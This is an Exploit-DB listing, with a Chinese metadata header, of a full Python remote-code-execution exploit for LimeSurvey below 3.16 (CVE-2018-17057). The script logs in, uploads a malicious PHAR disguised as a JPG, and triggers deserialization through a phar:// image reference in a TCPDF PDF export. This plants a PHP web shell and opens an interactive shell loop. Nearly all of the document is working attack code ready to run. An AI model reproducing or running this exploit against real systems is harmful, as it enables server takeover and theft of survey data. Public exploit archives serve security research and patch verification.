标题: LimeSurvey < 3.16 - Remote Code Execution EDB-ID: 46634 CVE: 2018-17057 类型: WEBAPPS 平台: PHP 发布日期: 2019-04-02 漏洞利用脚本: #!/usr/bin/python

# Description: LimeSurvey < 3.16 use a old version of "TCPDF" library, this version is vulnerable to a Serialization Attack via the "phar://" wrapper.
# Date: 29/03/2019
# Exploit Title: Remote Code Execution in LimeSurvey < 3.16 via Serialization Attack in TCPDF.
# Exploit Author: @q3rv0
# Google Dork:
# Version: < 3.16
# Tested on: LimeSurvey 3.15
# PoC: https://www.secsignal.org/news/remote-code-execution-in-limesurvey-3-16-via-serialization-attack-in-tcpdf
# CVE: CVE-2018-17057
# SecSignal is: <3
# Usage: python exploit.py [URL] [USERNAME] [PASSWORD]

import requests
import sys
import re

SESSION = requests.Session()

# Malicious PHAR generated with PHPGGC.
# ./phpggc Yii/RCE1 system "echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > shell.php" -p phar -o /tmp/exploit.jpg

PHAR    = ("\x3c\x3f\x70\x68\x70\x20\x5f\x5f\x48\x41\x4c\x54\x5f\x43\x4f\x4d\x50\x49\x4c\x45\x52\x28\x29\x3b\x20\x3f\x3e\x0d\x0a\x38"
           "\x02\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x02\x00\x00\x4f\x3a\x31\x31\x3a\x22\x43\x44\x62"
           "\x43\x72\x69\x74\x65\x72\x69\x61\x22\x3a\x31\x3a\x7b\x73\x3a\x36\x3a\x22\x70\x61\x72\x61\x6d\x73\x22\x3b\x4f\x3a\x31\x32"
           "\x3a\x22\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x22\x3a\x33\x3a\x7b\x73\x3a\x31\x36\x3a\x22\x00\x43\x4d\x61\x70"
           "\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x64\x22\x3b\x4f\x3a\x31\x30\x3a\x22\x43\x46\x69\x6c\x65\x43\x61\x63\x68\x65\x22"
           "\x3a\x37\x3a\x7b\x73\x3a\x39\x3a\x22\x6b\x65\x79\x50\x72\x65\x66\x69\x78\x22\x3b\x73\x3a\x30\x3a\x22\x22\x3b\x73\x3a\x37"
           "\x3a\x22\x68\x61\x73\x68\x4b\x65\x79\x22\x3b\x62\x3a\x30\x3b\x73\x3a\x31\x30\x3a\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65"
           "\x72\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x31\x3b\x73\x3a\x36\x3a\x22\x73\x79\x73\x74\x65\x6d\x22\x3b\x7d\x73\x3a\x39\x3a"
           "\x22\x63\x61\x63\x68\x65\x50\x61\x74\x68\x22\x3b\x73\x3a\x31\x30\x3a\x22\x64\x61\x74\x61\x3a\x74\x65\x78\x74\x2f\x22\x3b"
           "\x73\x3a\x31\x34\x3a\x22\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x4c\x65\x76\x65\x6c\x22\x3b\x69\x3a\x30\x3b\x73\x3a\x31\x31"
           "\x3a\x22\x65\x6d\x62\x65\x64\x45\x78\x70\x69\x72\x79\x22\x3b\x62\x3a\x31\x3b\x73\x3a\x31\x35\x3a\x22\x63\x61\x63\x68\x65"
           "\x46\x69\x6c\x65\x53\x75\x66\x66\x69\x78\x22\x3b\x73\x3a\x31\x34\x30\x3a\x22\x3b\x62\x61\x73\x65\x36\x34\x2c\x4f\x54\x6b"
           "\x35\x4f\x54\x6b\x35\x4f\x54\x6b\x35\x4f\x57\x56\x6a\x61\x47\x38\x67\x4d\x32\x4d\x7a\x5a\x6a\x63\x77\x4e\x6a\x67\x33\x4d"
           "\x44\x49\x77\x4e\x7a\x4d\x33\x4f\x54\x63\x7a\x4e\x7a\x51\x32\x4e\x54\x5a\x6b\x4d\x6a\x67\x79\x4e\x44\x56\x6d\x4e\x44\x63"
           "\x30\x4e\x54\x55\x30\x4e\x57\x49\x79\x4d\x6a\x59\x7a\x4d\x6a\x49\x31\x5a\x44\x49\x35\x4d\x32\x49\x79\x4d\x44\x4e\x6d\x4d"
           "\x32\x55\x77\x59\x53\x42\x38\x49\x48\x68\x34\x5a\x43\x41\x74\x63\x69\x41\x74\x63\x43\x41\x2b\x49\x48\x4e\x6f\x5a\x57\x78"
           "\x73\x4c\x6e\x42\x6f\x63\x41\x3d\x3d\x22\x3b\x7d\x73\x3a\x31\x39\x3a\x22\x00\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f"
           "\x72\x00\x5f\x6b\x65\x79\x73\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x30\x3b\x69\x3a\x30\x3b\x7d\x73\x3a\x31\x38\x3a\x22\x00"
           "\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x6b\x65\x79\x22\x3b\x69\x3a\x30\x3b\x7d\x7d\x08\x00\x00\x00\x74"
           "\x65\x73\x74\x2e\x74\x78\x74\x04\x00\x00\x00\x36\xad\x9d\x5c\x04\x00\x00\x00\x0c\x7e\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00"
           "\x00\x74\x65\x73\x74\xcc\xd9\x99\xbd\x5e\x65\x4e\x03\x9b\x90\xdd\xd5\x8b\xff\x28\xd2\x37\x8b\x23\xe5\x02\x00\x00\x00\x47"
           "\x42\x4d\x42")

def usage():
    if len(sys.argv) != 4:
        print "Usage: python exploit.py [URL] [USERNAME] [PASSWORD]"
        sys.exit(0)

def get(url):
 r = SESSION.get(url, verify=False)
 return r.text

def post(url, data={}, files=None, headers=None):
 r = SESSION.post(url, data=data, headers=headers, files=files, verify=False)
 return r.text

def getYIICSRFToken(url):
 res = get(url)
 token = re.findall(r'value="(.*)" name="YII_CSRF_TOKEN"', res)
 return token[0] 

def getKCSRFToken(url):
 res = get(url)
 token = re.findall(r'csrftoken = "(.*)";', res)
 return token[0]

def login(url, username, password):
 token = getYIICSRFToken(url)
 data = {"YII_CSRF_TOKEN" : token,
         "authMethod"     : "Authdb", 
         "user"           : username,
         "password"       : password,
         "loginlang"      : "default",
         "action"         : "login",
         "width"          : "1366",
         "login_submit"   : "login"
        }
 res = post(url, data)
 if len(re.findall("loginform", res)) == 0:
  return True
 else:
     return False

def emailTemplates(url):
    return get(url) 

def createSurvey(url_newsurvey, url_insert):
 token = getYIICSRFToken(url_newsurvey)
 data = {"YII_CSRF_TOKEN" : token,
         "surveyls_title" : "Survey Example - SecSignal",
         "language"       : "en",
         "createsample"   : "0",
         "description"    : "foo",
         "url"            : "",
         "urldescrip"     : "",
         "dateformat"     : "1",
         "numberformat_en": "0",
         "welcome"        : "bar",
         "endtext"        : "asdf",
         "owner_id"       : "1",
         "admin"          : "Administrator",
         "adminemail"     : "test%40gsecsignal.org",
         "bounce_email"   : "test%40gsecsignal.org",
         "faxto"          : "",
         "gsid"           : "1",
         "format"         : "G",
         "template"       : "fruity",
         "navigationdelay": "0",
         "questionindex"  : "0",
         "showgroupinfo"  : "B",
         "showqnumcode"   : "X",
         "shownoanswer"   : "Y",
         "showxquestions" : "0",
         "showxquestions" : "1",
         "showwelcome"    : "0",
         "showwelcome"    : "1",
         "allowprev"      : "0",
         "nokeyboard"     : "0",
         "showprogress"   : "0",
         "showprogress"   : "1",
         "printanswers"   : "0",
         "publicstatistics" : "0",
         "publicgraphs"   : "0",
         "autoredirect"   : "0",
         "startdate"      : "",
         "expires"        : "",
         "listpublic"     : "0",
         "usecookie"      : "0",
         "usecaptcha_surveyaccess" : "0",
         "usecaptcha_registration" : "0",
         "usecaptcha_saveandload"  : "0",
         "datestamp"               : "0",
         "ipaddr"                  : "0",
         "refurl"                  : "0",
         "savetimings"             : "0",
         "assessments"             : "0",
         "allowsave"               : "0",
         "allowsave"               : "1",
         "emailnotificationto"     : "",
         "emailresponseto"         : "",
         "googleanalyticsapikeysetting" : "N",
         "googleanalyticsstyle"         : "0",
         "tokenlength"                  : "15",
         "anonymized"                   : "0",
         "tokenanswerspersistence"      : "0",
         "alloweditaftercompletion"     : "0",
         "allowregister"                : "0",
         "htmlemail"                    : "0",
         "htmlemail"                    : "1",
         "sendconfirmation"             : "0",
         "sendconfirmation"             : "1",
         "saveandclose"                 : "1"
        }
 res = post(url_insert, data)
 surveyid = re.findall(r'surveyid\\/([0-9]+)', res)
 return surveyid[0] # Return SurveyiD

def uploadPHAR(url_upload, url_csrf_token, phar):
 kcfinder_csrftoken = getKCSRFToken(url_csrf_token)
 files = {'upload[]': ('malicious.jpg', phar)}
 data  = {"dir"                : "files",
          "kcfinder_csrftoken" : kcfinder_csrftoken
         }
 res = post(url_upload, data, files)
 return res

def pdfExport(url_pdf_export, surveyid):
 token = getYIICSRFToken(url_pdf_export + surveyid)
 data = {"save_language" : "en",
         "queXMLStyle"   : '<h1>Stage 2</h1><img src="phar://./upload/surveys/'+ surveyid + '/files/malicious.jpg">',
         "queXMLSingleResponseAreaHeight" : "9",
         "queXMLSingleResponseHorizontalHeight" : "10.5",
         "queXMLQuestionnaireInfoMargin" : "5",
         "queXMLResponseTextFontSize" : "10",
         "queXMLResponseLabelFontSize" : "7.5",
         "queXMLResponseLabelFontSizeSmall" : "6.5",
         "queXMLSectionHeight" : "18",
         "queXMLBackgroundColourSection" : "221",
         "queXMLBackgroundColourQuestion" : "241",
         "queXMLAllowSplittingSingleChoiceHorizontal" : "0",
         "queXMLAllowSplittingSingleChoiceHorizontal" : "1",
         "queXMLAllowSplittingSingleChoiceVertical" : "0",
         "queXMLAllowSplittingSingleChoiceVertical" : "1",
         "queXMLAllowSplittingMatrixText" : "0",
         "queXMLAllowSplittingMatrixText" : "1",
         "queXMLAllowSplittingVas" : "0",
         "queXMLPageOrientation" : "P",
         "queXMLPageFormat" : "A4",
         "queXMLEdgeDetectionFormat" : "lines",
         "YII_CSRF_TOKEN" : token,
         "ok" : "Y"}
 res = post(url_pdf_export + surveyid, data)
 return res        

def shell(url):
    r = requests.get("%s/shell.php" % url)
    if r.status_code == 200:
       print "[+] Pwned! :)"
       print "[+] Getting the shell..."
       while 1:
           try:
               input = raw_input("$ ")
               r = requests.get("%s/shell.php?c=%s" % (url, input))
               print r.text
           except KeyboardInterrupt:
               sys.exit("\nBye kaker!")
    else:
        print "[*] The site seems not to be vulnerable :("

def main():
    usage()
    url      = sys.argv[1] # URL
    username = sys.argv[2] # Username
    password = sys.argv[3] # Password
    url_login = "%s/index.php/admin/authentication/sa/login" % url

    print "[*] Logging in to LimeSurvey..."
    if login(url_login, username, password):

        url_newsurvey = "%s/index.php/admin/survey/sa/newsurvey" % url
        url_insert = "%s/index.php/admin/survey/sa/insert" % url

        print "[*] Creating a new Survey..."
        surveyid = createSurvey(url_newsurvey, url_insert) 
        print "[+] SurveyID: %s" % surveyid

        email_templates = "%s/index.php/admin/emailtemplates/sa/index/surveyid/%s" % (url, surveyid)

        emailTemplates(email_templates)

        url_csrf_token = "%s/third_party/kcfinder/browse.php?opener=custom&type=files&CKEditor=email_invitation_en&langCode=en" % url
        url_upload     = "%s/third_party/kcfinder/browse.php?type=files&lng=en&opener=custom&act=upload" % url

        print "[*] Uploading a malicious PHAR..."
        uploadPHAR(url_upload, url_csrf_token, PHAR)

        url_pdf_export = "%s/index.php/admin/export/sa/quexml/surveyid/" % url

        print "[*] Sending the Payload..."
        export_response = pdfExport(url_pdf_export, surveyid)
        print "[*] TCPDF Response: %s" % export_response

        shell(url)
    else:
        print "[-] Bad credentials :("

if __name__ == "__main__":
    main() URL: https://www.exploit-db.com/exploits/46634